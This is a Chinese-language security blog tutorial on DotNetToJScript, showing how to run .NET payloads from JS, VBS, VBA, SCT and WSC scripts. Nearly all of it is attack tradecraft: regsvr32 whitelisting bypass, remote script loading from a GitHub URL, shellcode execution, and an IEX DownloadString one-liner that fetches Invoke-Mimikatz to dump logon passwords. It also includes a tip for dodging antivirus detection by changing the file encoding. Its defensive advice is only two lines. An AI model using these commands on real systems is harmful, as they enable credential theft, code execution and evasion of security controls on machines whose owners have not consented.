工具解析篇:高效利用JS載入.Net程序
0x00 前言
最近James Forshaw開源了一個工具DotNetToJScript,能夠利用JS/Vbs腳本載入.Net程序,很有趣。
Casey Smith和Cn33liz都對此做了進一步研究,開源了他們的利用代碼。本文將要對該技術作系統整理,幫助大家更好的認識。
0x01 簡介
本文將要介紹以下內容:
1. DotNetToJScript編譯方法
2. DotNetToJScript使用方法
3. 利用JS/Vbs執行shellcode
4. 利用JS/Vbs執行powershell腳本
0x02 DotNetToJScript編譯方法
DotNetToJScript下載地址:
tyranid/DotNetToJScript
使用工具VS2012進行編譯
報錯1:
缺少程序集引用NDesk.Options
解決方法:
需要添加引用NDesk.Options
下載地址:
Options - NDesk
解壓縮,工程-添加引用-瀏覽-ndesk-options-0.2.1.binndesk-options-0.2.1.binlibndesk-optionsNDesk.Options.dll
接下來,將目標框架指定為.NET Frameword 2.0,重新編譯
報錯2:
缺少程序集引用Linq
解決方法:
添加對System.Core.dll 3.5的引用
位置:
C:Program FilesReference AssembliesMicrosoftFrameworkv3.5System.Core.dlln
添加引用後編譯成功,分別在兩個目錄生成DotNetToJScript.exe和ExampleAssembly.dll
0x03 DotNetToJScript使用方法
1、生成js腳本
參數如下:
DotNetToJScript.exe -o 1.js ExampleAssembly.dlln
執行後,生成1.js
執行1.js,調用ExampleAssembly.dll中的public TestClass()
如下圖
執行過程如下圖,彈出對話框
2、生成vbs腳本
參數如下:
DotNetToJScript.exe -l vbscript -o 2.vbs ExampleAssembly.dlln
執行如下圖
3、生成vba腳本
參數如下:
DotNetToJScript.exe -l vba -o 2.txt ExampleAssembly.dlln
用來放在office宏中
4、生成sct腳本
參數如下:
DotNetToJScript.exe -u -o 3.sct ExampleAssembly.dlln
啟動方式:
命令行參數如下:
regsvr32.exe /u /n /s /i:3.sct scrobj.dlln
註:
細節可參考之前的文章《Use SCT to Bypass Application Whitelisting Protection》
5、生成wsc腳本
參數如下:
DotNetToJScript.exe -m -o 4.wsc ExampleAssembly.dlln
啟動方式1:本地調用
通過js調用,js腳本內容如下:
GetObject("script:C:test4.wsc");n
註:
需要絕對路徑,wsc文件後綴名任意
啟動方式2:遠程啟動
將4.wsc保存在github,地址如下:
https://raw.githubusercontent.com/3gstudent/test/master/4.wsc
js腳本內容如下:
GetObject("script:https://raw.githubusercontent.com/3gstudent/test/master/4.wsc")n
註:
細節可參考之前的文章《WSC、JSRAT and WMI Backdoor》
0x04 利用JS/Vbs能夠實現的payload匯總
對以上測試中的ExampleAssembly.dll,可替換成其他payload:
1、執行shellcode
代碼可參考如下地址:
https://gist.github.com/subTee/618d40aa4229581925eb9025429d8420#gistcomment-2057305
新建c#工程,可選擇c#控制台應用程序,編譯成exe
生成js腳本的參數如下:
DotNetToJScript.exe -o shellcode.js shellcode.exen
測試如下圖
2、執行mimikatz
代碼可參考如下地址:
https://gist.github.com/subTee/b30e0bcc7645c790fcd993cfd0ad622f
在c#中執行mimikatz的代碼可參考如下地址:
https://gist.github.com/subTee/5c636b8736530fb20c3d
3、執行powershell
代碼可參考如下地址:
https://github.com/Cn33liz/StarFighters
作者:Cn33liz
StarFighters:
1. 能夠載入Empire框架的啟動代碼
2. 支持JavaScript和VBScript
3. 不需要powershell.exe,可用於繞過白名單攔截
4. 通過powershell runspace environment (.NET)執行powershell代碼
執行powershell代碼的方式可參考工程p0wnedShell,地址如下:
https://github.com/Cn33liz/p0wnedShell
我之前對此做過研究,對其精簡代碼,使其支持.net 2.0,地址如下:
https://github.com/3gstudent/Smallp0wnedShell
實際測試:
StarFighters不僅能夠載入Empire框架的啟動代碼,也可用來直接執行powershell命令
方式如下:
(1)執行powershell單條命令
需要對命令作base64編碼,命令如下:
$code = start calc.exen$bytes = [System.Text.Encoding]::UNICODE.GetBytes($code);n$encoded = [System.Convert]::ToBase64String($bytes)n$encodedn
得到base64代碼如下:
cwB0AGEAcgB0ACAAYwBhAGwAYwAuAGUAeABlAA==n
替換StarFighter.js中的var EncodedPayload
成功執行,彈出計算器如下圖
(2)本地執行powershell腳本
使用Invoke-Mimikatz.ps1,下載地址如下:
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1
添加導口令的操作代碼:
Invoke-Mimikatz -Command "log privilege::debug sekurlsa::logonpasswords"n
註:
添加log參數是為了將結果導出到文件mimikatz.log
命令如下:
$code = Get-Content -Path Invoke-Mimikatz.ps1n$bytes = [System.Text.Encoding]::UNICODE.GetBytes($code);n$encoded = [System.Convert]::ToBase64String($bytes)n$encoded | Out-File 1.txtn
將生成的1.txt中的內容替換StarFighter.js中的var EncodedPayload
(3)遠程執行powershell腳本
powershell命令如下:
powershell IEX "(New-Object Net.WebClient).DownloadString(https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1); Invoke-Mimikatz -Command log privilege::debug sekurlsa::logonpasswords"n
作base64的代碼如下:
$code = Get-Content -Path code.txtn$bytes = [System.Text.Encoding]::UNICODE.GetBytes($code);n$encoded = [System.Convert]::ToBase64String($bytes)n$encoded | Out-File 2.txtn
將生成的2.txt中的內容替換StarFighter.js中的var EncodedPayload
註:
某殺毒軟體默認會查殺該js腳本,一個繞過靜態查殺的思路(不保證有效期):
1. 將腳本保存成ASCII格式,會被查殺
2. 換成UNICODE格式,不被查殺
0x05 防禦
站在防禦的角度,大家都會對powerShell.exe作攔截,但是這還遠遠不夠:
powershell runspace environment (.NET)才是重點
具體到本文的技巧,防禦方法如下:
分別對js、vbs、vba宏、sct、wsc腳本作限制
本文為 3gstudent 原創稿件,授權嘶吼獨家發布,未經許可禁止轉載,如若轉載,請聯繫嘶吼編輯: 工具解析篇:高效利用JS載入.Net程序 更多內容請關注「嘶吼專業版」——Pro4hou
推薦閱讀:
※APT攻擊中會使用合法程序嗎?
※外媒解密 | 間諜軟體是如何工作的?
※黎巴嫩國家APT組織「黑山貓Dark Caracal」浮出水面
TAG:信息安全 |